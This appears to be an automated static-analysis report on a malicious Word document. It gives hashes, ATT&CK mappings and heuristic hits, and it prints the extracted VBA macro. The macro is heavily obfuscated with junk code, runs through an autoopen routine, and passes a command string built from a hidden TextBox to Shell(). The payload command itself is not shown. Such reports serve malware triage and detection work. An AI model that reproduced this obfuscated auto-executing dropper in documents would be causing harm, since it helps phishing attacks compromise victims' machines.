Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ee6e161447a287b9…

MALICIOUS

Office (OLE)

90.9 KB Created: 2018-12-13 03:50:00 Authoring application: Microsoft Office Word First seen: 2020-02-04
MD5: d049e65ff5452aefbcb4ec32b0618deb SHA-1: d42c106b78f1490ed35824638a5d8292d96daafa SHA-256: ee6e161447a287b9128a41c3fb09efe48d749c4e45cf12ccd71233ff756df4a8
292 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample contains VBA macros, including an autoopen macro, which is a common technique for initial execution. Heuristics indicate the use of Shell() calls and references to cmd.exe and PowerShell, suggesting the macro is designed to execute arbitrary commands. This likely facilitates the download and execution of a secondary payload, characteristic of a malicious document.

Heuristics 10

  • ClamAV: Doc.Malware.Generic-6782661-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Generic-6782661-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
    Matched line in script
     _
.Shell(zwRjLwWD, wodzaWaTHVo), anZEJWw)
   Set vqKWKVEnlYfsDK = oEXsKKlXcjUoJpZvUsIIQ
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox"
Sub autoopen()
NYFjSRj
  • Suspicious cmd.exe invocation with execution flag high SC_STR_CMD
    Suspicious cmd.exe invocation with execution flag
  • Reference to PowerShell high SC_STR_POWERSHELL
    Reference to PowerShell
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 10065 bytes
SHA-256: 6cfc69e3debb33ec24d33193cb7c6af5f53c3e20b9d5a0cbe57a93ee4fa5da2e
Detection
ClamAV: No threats found
Obfuscation or payload: likely
272 of 318 identifiers look randomly generated (e.g. 'iSCNCFkbYSqDoUqLiSqjjGiB') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "SzAwUJwaOlv"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox"
Sub autoopen()
NYFjSRj
End Sub

Attribute VB_Name = "KwBnqMO"
Function NYFjSRj()
On Error Resume Next
   Set wFIGzvYsCHcZqw = sOGTfNzUwdNtmvkSXOSJ
   Select Case HMHVwIpEQEjoXInY
      Case 161254894
         mwkMdmClzRpFLXnVlCzzjFHQ = ZdEPmztwQfKaujUTKLYP
         sLBBXlZbOhqThDJw = 146367318
         UvGvscvqSidYujBU = SCOPLUXBwTGNfLUoADTE
      Case 320574767
         ZFjSuzqnHSMXqvHuIb = CByte(utIpcnTJjtfiQjwdJitaZ)
         KMnBIUZjGvsUCZQP = ChrW(faoGubkwnrSwMP)
         JjjwBbizjCnkpw = Log(ZNtiNzlEQlDFVcGitjrKS)
   End Select
   Set BdLfpmnXJQGrEbjN = vOqjMajndriJRnRtMbrhZI
   Select Case bMjOvVTFRvHOqZbpDfrMvINs
      Case 190811673
         zsAsfNmPOWcMkSJlMNJZaU = loCivETwrlGXbFZQtbbLE
         quYDJvziDOdHODdf = 282944281
         vYkbduifnzPwzJjY = HJsuXwJhsuTqVnOkQQjcPQiU
      Case 196363537
         CSFOUaqGVVwQXZb = CByte(lAOpSKANisAvhqfXQPwqcdZ)
         zORsmAsGBWfdGoqsRrjbZvY = ChrW(qazIdlRHaVpDsHbiAtuL)
         BRcZDYkzwTEqnCLA = Log(dQEYDlzmzJQwbfANTpJXj)
   End Select
   Set wbpTCMfUlzPIVIjiDMSR = zHowoiVDCFBXCXSY
   Select Case TAnRqLTjQwYiwHwLRwTAXOhK
      Case 112777730
         tOkTlOKHtSiuGvVQXiwVG = FMkYwXYETcAHRFvzKKXpOihX
         YfHqwOvdvIXjMPmiowBuwdQ = 136696152
         XlzRjbfNfasRNVOFiVw = NwvkGaffctuPmQaczM
      Case 81298634
         sWjpuQadmoUHTzMZqMKJv = CByte(kmfdizumHSJOfrRGqqzBsoZm)
         pEAmkBDlsmuJRldiAhBwESUI = ChrW(WTJtHvNshptuzXQGcmFWz)
         EWTrGXoqXjrCOitslqh = Log(jwjoBKkrcfPlmzOma)
   End Select
   Set ODNhFnEQJsoGPuW = iSCNCFkbYSqDoUqLiSqjjGiB
   Select Case AWcLjBPCFhHjGD
      Case 63266414
         mImwAbpCcbzDmNcjBM = iIQrQaBjnjcXOj
         wzwFAYhZiEEMPsFYi = 306182027
         bLWQWWzsCTADiW = QimvLdAihnLOlqhLtd
      Case 88155533
         FajZjBffGiAWptb = CByte(lmjYadodKHNBUHGaVRR)
         wNMKzVbwmpZsPHZHupfclC = ChrW(bndLwcaBXbkbXaZaE)
         qrViUmMhzjfloF = Log(wkWTKcWLoBQijChVOaavKttS)
   End Select
   Set HjBcfMMOkRlLjEbYW = VzzfiNZOORaIfDZsKdMhFri
   Select Case ruaiiOoFdGGuTbwoCRwvob
      Case 250057389
         lquzLooiSKnnmrfzdVfZz = ZifYfotjAPItwsUqtoRc
         IoKBKlwSTwMkGRLSnJz = 243273661
         KXftunfmcqHUDQtUXUCuQ = TvIqbIYFfSrszQfHQwTj
      Case 283638241
         EPCASzQowqSdEkk = CByte(MWNWLpdLScpPEE)
         kpNrtnaqapqVBZUMvWM = ChrW(zTUuPmrhpIAksPiorsrQlj)
         hUUclwPusrRdRVScGvtASo = Log(clrfVCfwARjnauK)
   End Select
   Set GjqduzUzNLFNhklrOF = MajYXwOMKKTiLZhWn
   Select Case YiDjGKDUWjpIMlLvCv
      Case 148625597
         ThfkKntcunANwVp = MdUZUCZiXCzhWPWlAf
         rCTYSQaajjbJrw = 267453057
         YbznRHzMHpMFfRPNTSwUs = BIucqCwsGlifzKC
      Case 288451101
         jFGQdDUuRROqYzUrUZotp = CByte(vQPjbXATEKbhOPlnY)
         ZhYlhBhnOodkOwv = ChrW(KqBtcztwMEPqjEFjA)
         UHtJiNBnJMpTvcmwFvlfc = Log(nZYdmqEJjzkfinYAIor)
   End Select
Const wodzaWaTHVo = 0
   Set dEWnvhtwDXXhjvlh = wFlJzSOJDFmojZZwIVUVKaHj
   Select Case MKWvBYpNvtuDEilIisc
      Case 43225825
         WzwlbaQLlXwCjmHr = BjzblfisDriMfifc
         qMYKawZBJWwBVriQR = 284229677
         JikRTsXiizFpTZTwuTCbiYa = JirizEwOqjThFuESCPq
      Case 12168318
         jdbBvjzOPMlHJI = CByte(ApjdDrwjGlqAOkYShYXdF)
         jEUwAbXiawmTRNjMw = ChrW(iuVQFjidqtEimfjk)
         iJErXLYLuNuTLmU = Log(KvKvQzlPWkdirKHnhFB)
   End Select
   Set MDTMPfXuwJZjlhjoihEQMAp = UGzGTUIaXmficdvvjlRratb
   Select Case CFzahviLNcrJiQbcB
      Case 333865249
         zBFMBmIkbjzRaih = NXhsbDTQzllNPJ
         qbkcNztvoYLHcPLRiANNFU = 37636893
         vioMPBvVRvHpqCTGUbtUQ = rAnUHMCwiWVDhfIjjmcpqhHW
      Case 176988828
         jGtialQwrnYvujTVMlT = CByte(VowouGrbGJsRtffvDEvkmi)
         UHkstWVUWCnGsIEjTupshv = ChrW(BODXSIpjAnAijKN)
         FlpWPFYnnwUbqzqHZAjiqwDM = Log(SnTsdYZGwjHsYrwqPkUn)
   End Select
   Set jtOPPqXTNuAOwVmUmsK = iFRVSAuAGhFpMKRoS
   Select Case adcSwOpdqQKjMGYPwactzP
      Case 318518293
         NfpKCmEzBzRhoLHCfo = iqXVwQwNqMZsKjGF
         YibDLMhPprblTZNIF = 118929586
         qKqtGZNlcFGAiGodBNGS = pFJZVcXmLjFOZOHilUiz
      Case 176552971
         KiqsiivMvzzCAEh = CByte(lwqwQVBlIrhvPscUCk)
         ajczsrwnFPXOCARjhHboojEk = ChrW(zzwCXizQJGkIzwHRivWldi)
         wJuNbvHuisKvrClikXztthah = Log(TWGliwKSEwtcQYU)
   End Select
   Set rINIiMzkBjptsOkaoMbv = NzunizaGzXZBjiXrspo
   Select Case AZjrfhIiBznRvH
      Case 198633849
         SVDNZiELPsMkNjv = nsYnTDIzqsFzkIFZAO
         XlbdWVUbmVYVSBPdDiq = 273057732
         MFWhZEbHmmjwJYlMO = SwbVcSWmzUiCqJ
      Case 166684362
         KjEwzQsUAioXIddQ = CByte(jYqnrdEKmHHckwaYzOFHRE)
         FHVudziUqONJli = ChrW(TCAmLJlrQlOwJOYJXb)
         kjViaLImQOWmoqbvCH = Log(trUPFIPAUFSEqhOzrzUZ)
   End Select
zwRjLwWD = SzAwUJwaOlv.TextBox1 + EHZBIv + cnDrGTzc + lNflCR + QpDQP + aJsFDGJ + zDKWpadL + lihChJPM + ROCtV + hhscQ + iZuER + VukWh + UzDSsk + cojqkv
   Set wisjESztdbZoKZTOM = PjVNhVzSHSvulSQOw
   Select Case CkBSKKuHZsvHhIdsY
      Case 30406710
         kwXllLhzipGXvaCMbOzYLTa = EXAlnRtuLTOVizPGdMMRTUzj
         vBdafjRWcjOLwKRwMLbM = 216984679
         cwqvwGIckXTGrPPTjjwzC = AvhCuVHIXTwOZikjl
      Case 69268516
         AwrrpSCjsfsPhiKw = CByte(OwMnUbzAHdqkjwwmlCVJDrjs)
         OdfDQjOjoVowafVrripLvJ = ChrW(tdvcposXNTwGzTwrtcDua)
         nLXzSLJujsEulaUG = Log(swwbibYYXvqvjrOIjpk)
   End Select
   Set QfAjAHObRvUpELRflmlU = jtaRNbGFqzpQUaGBEkuUuz
   Select Case nCSLCJohXMqjmaPnfHWbwf
      Case 164249820
         lKihCrzumEnOuQDvBRSEi = UaowONYVsHdjZriGifMwthn
         sPDaZiNUFrqEsF = 190955810
         WQMfkLqMRvnmriAmnnEzJz = OuIiiBaOZCaZdVHQjYrJirad
      Case 151447904
         DQEBdcYUwkchIKqhOjQIXRf = CByte(XbSoRWTfHqzJJXZzBIX)
         ozPjTwcqMOUmljiCKj = ChrW(bRwaRMjYqKTGOu)
         jYLlVVucSsWLYct = Log(mSFvFrYwUmYmjtIFrc)
   End Select
   Set tUiiMOYrirKYmYHLkHIaPjD = GBQDjBwdjQptlUz
   Select Case PBzKoQoiYBktUiiK
      Case 115074174
         YKzULdshpWiNZPHwLNls = pNliiRFIAlibIwpOu
         URGbRvLbUlYWQYYMjwLpjL = 251435561
         okElQTShQXRaJNwqTCz = kiVGDvNsCEJIfinjrZ
      Case 72805733
         SqGtHzCWAVWdOR = CByte(KPziVGZfLNJvbZPwurwBtX)
         wFsqsjijtOtdQtqputL = ChrW(fwCbwlXcmSQumowccPjwchP)
         iwwEDCCIicwADRuHJGub = Log(wqcuNMiMNSwiVtAmSYjQIMKr)
   End Select
   Set XsBszbsFWZfRbWDzmhRiw = DwPsBVkAonZHJC
   Select Case OozYRZJimuWVqGQJEmXpCd
      Case 27341012
         XUWkssUMBHXtSJjauUd = iztuYdUUmMnlkZBwDYltZJUj
         XrvFwviAFvYacMPYAaoUm = 56848097
         IjWVijYUiKKAlYOpRFkidcW = LWVZjfPzOzmVaZzQhat
      Case 104337986
         MdzlkWOBdOfNvJMNw = CByte(wvNlmmsPsFUzDjGJzsWow)
         AvlkHIiPnCipuUD = ChrW(rNsViIhfLwHlJTrKmpv)
         ACiklcSRPNomGZAIv = Log(irOFYKAsFTLXDFYlZpiH)
   End Select
   Set MUzsaEGiIflZrGwihLQKIUk = kkjJJwDTSELPTaVajBDYn
   Select Case ZFrZkTMfksjMIpXzVKbRHn
      Case 307909539
         KHppdGQMwvLaRjNkGnUTj = SjDijtwVhmKIPdd
         BdcXQMiwjlwrLUTbCD = 269567669
         mvaWPbOYQIUjGkl = rIqFCGCuzEKNTjFLoUjGCFH
      Case 266954952
         FjXQMlaicktMjGjsfZKRBFjD = CByte(vlBfolBCHzZfikT)
         irzMzFOCNXfwXwAzUIRzZ = ChrW(owsKcJGNBprhWO)
         rJpWwSQGFiKwZLVTTKcCA = Log(odFwAVqFpZmSdwbcbk)
   End Select
   Set OLZSbcnqjCZTIijnCjYq = BYnUFvRVFjWcscfK
   Select Case DjtSfqpijqBfcuMOTNm
      Case 248205210
         WjVUaSDrQBAddcrzsWiwqZFP = doKNYPtYbhzXwEYmmQoBCw
         URbrEnHzbFiwdtdrl = 47453596
         BvsatRJLDJQOoi = pwzYokTkYRUHutIYCu
      Case 326473962
         WcrhZubEoKrpRGDhtNSThLTI = CByte(JPSukOUqhzMFQwtIPwO)
         iqnpbipbdPLJiHPfJJD = ChrW(WzkGqcdOYKROEhvTbcTFYsMR)
         DWJjNzFsRDfGjzwBaCTzwE = Log(MwEjqzXimSSmGU)
   End Select
   Set ztfrnaEwodbszYkMBoOIwOn = vOzDizPTdujrRzNiib
   Select Case hTtMWjwhGiEvlGI
      Case 313403034
         bAOoNIPDrtvDafZUGFD = BcXmSIoYwulIBo
         iNTTLiJinAdjwfb = 209698431
         FtXzdbWETqEwIm = lYrGmmsYszkloc
      Case 274819295
         XOkCIRHFlzOrnEhiObuanUt = CByte(NViBsqiciwhhXjuT)
         mUpXBknPFXNhPFCVW = ChrW(mmFMvPmMrWzHihaIBADqMl)
         lnTUuOqfMBuHhLZYakotRQw = Log(jHGEBRfcBvTZcuswArnGjZt)
   End Select
bdGYsZV = Array(aonHmduV, FlsAwf, psZcsJGNJ, Interaction _
 _
 _
 _
 _
 _
 _
 _
.Shell(zwRjLwWD, wodzaWaTHVo), anZEJWw)
   Set vqKWKVEnlYfsDK = oEXsKKlXcjUoJpZvUsIIQ
   Select Case qmtpdICGGbAwSmPMurJSim
      Case 273573619
         vzMdLAuCVCNlwVjdVVdt = KWmfHwRwzDDwMtfvYvGjwd
         ZiOYKjzMJwtlaazDB = 189104872
         XwJomcBiwaWMph = NBtaHSAruATIFUb
      Case 285993307
         DuFRPpbvIwAmmj = CByte(DTNvKbUlWHPoSU)
         NViSIvcpzMRiwTAFHQQElHfj = ChrW(jIjJzBJaMkfDUaHbiPjs)
         VRWCIXCQKGpBpZnsfwKIDljU = Log(mqIdHrwnjNqMHq)
   End Select
   Set XDndHLHUwNYzQznWoXC = JrjzAiWzPsFruoVKWjp
   Select Case QnknVkohNkAQsiQjTn
      Case 188701773
         pHFEHjEbccAEhiJWHwiQ = pmirozMYpriGMfJifjojME
         kwjKYuYXIMmzVbNShrCnl = 113321903
         VCAobQqjdkBtuFooiQUauafn = SNHoKRzTwNHXFzG
      Case 119230580
         IPThSMsDYWQqDuXMhJCi = CByte(TSCZwshQYTNIRRQUZzAPlmv)
         duTkLYnEjipwQHVULmzDD = ChrW(mdGrHJBTJjXTwBYzFzfJY)
         bTERdjEzmrfvIpdTRiCQY = Log(ZwLUvNhAXtIDBmn)
   End Select
   Set WkZsILCPovdGGDZHvEBww = XwWUzwlMEwwrbwbWGiGum
   Select Case QoKTNszfqinnNcVnO
      Case 26520348
         bqfHPbdfYzTrCwGjhJdk = OZHQEojzBTTCQKbkhvskMZh
         qkqGwodkTkMQXqKmuj = 154165424
         zpllfvAOlzjpskaTzcCN = jijzKMqkFqjBCYBzFbAnOz
      Case 131024459
         XYnQqpSdKpQGEn = CByte(iKdfJzoqLZUsACZajO)
         alZZtQYDrNHuuRGRdlUK = ChrW(jibrWwSbkOjrbN)
         JkkOlwwdEiaatkwpPEYrD = Log(hXTGcGwaDSEXIsBFZImEXNwW)
   End Select
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.